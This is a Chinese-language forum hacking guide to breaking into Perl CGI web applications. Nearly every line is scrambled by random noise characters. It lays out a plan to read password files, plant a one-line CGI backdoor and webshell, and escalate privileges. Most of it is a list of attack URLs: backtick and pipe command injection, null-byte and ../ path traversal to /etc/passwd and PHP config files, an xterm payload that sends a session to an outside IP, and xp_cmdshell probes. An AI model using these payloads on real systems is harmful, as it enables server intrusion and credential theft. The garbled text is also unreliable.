总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
3 {% v* s+ \4 p3 T, b; i$ J) Mcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 # n, t! b0 _/ h7 Q
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
! H6 T5 E+ Y- i, r6 N3 D9 h: L, t注“ & Z; B3 o+ _# _8 y
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
+ p: d2 K* ^, O! J; J/ y以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
5 }2 e* {* ?* F5 {9 q$ Z+ v! n5 q9 u9 A. x0 s8 T% ]
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
9 B( A: Q# a# ^6 Khttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 3 e# Z# K u& V- [
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
( ^4 g" T$ n8 h+ \http://target.com/cgi-bin/home/news/sub.pl?`id` , [3 X- Z( ^, I0 ]$ w
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` ( _1 z. x2 i# [5 z4 \9 ]
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
0 V8 q# F' @& Z5 s$ _& M0 a& n3 f& M+ L/ S g5 a% P9 ^5 u
http://target.com/test.pl;ls|
* n, M6 O+ u dhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
& f2 b T: ]' A5 J. q3 _4 Bhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
* Z" C4 W' o& ?$ m0 Mhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 ( x9 i4 k( s2 h' y3 [
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 % |$ P j r; O8 I
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection & P& \: }7 ?/ r/ V" t! S: E% f2 o; H
7 O, l2 p7 K! T: W
http://target.com/test.pl?&........ /../../etc/passwd
: g" ^$ k3 f! g9 p
6 v+ g) c6 s) A% fhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
3 @) o4 t$ S. b" `) thttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 ' y. ]) X9 |; k# ^, w; k. d) t
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
9 q, \: m% a, B4 z _2 y* M3 I. d1 G1 P x7 S" |0 b! j0 j( P5 C
http://www.target.org/show.php?f ... /include/config.php 查看php代码 . D/ y" K E1 n5 g
http://www.target.org/show.php?f ... ng/admin/global.php 8 l4 L+ f' l$ |6 \- S
: ^" \) l$ U0 X$ I) ~' ~% y
emm和ps的一句话
' G) l* Q$ C* U8 m2 A$ E6 n6 y1 V q& c2 N7 x! g% y9 S
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 % x/ y+ ?3 z$ }- C+ w0 i1 S
; o- {; F Q0 F) ]/ B2 B: Q8 i>bbb%20|
! ?% [" |* S/ i7 {* }
5 B6 W6 k8 v) Z2 t4 n( Chttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 7 g0 S( S6 q3 G' E; J Y: o H8 G
. R, w* F# `0 |8 P* J
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
* T, Q* v# T/ _ ghttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 5 s+ R' F g* ]6 c( M: T
@" ?; r& s( t8 d3 C
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 6 t/ [3 W7 ~( _# t
http://target.com/index.html#cmd.exe 6 p: ~8 ]- n, t
http://target.com/index.html?dummyparam=xp_cmdshell $ A; T {8 f4 b! ]$ y( d
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
: U3 z& T+ s8 k: r5 S' S |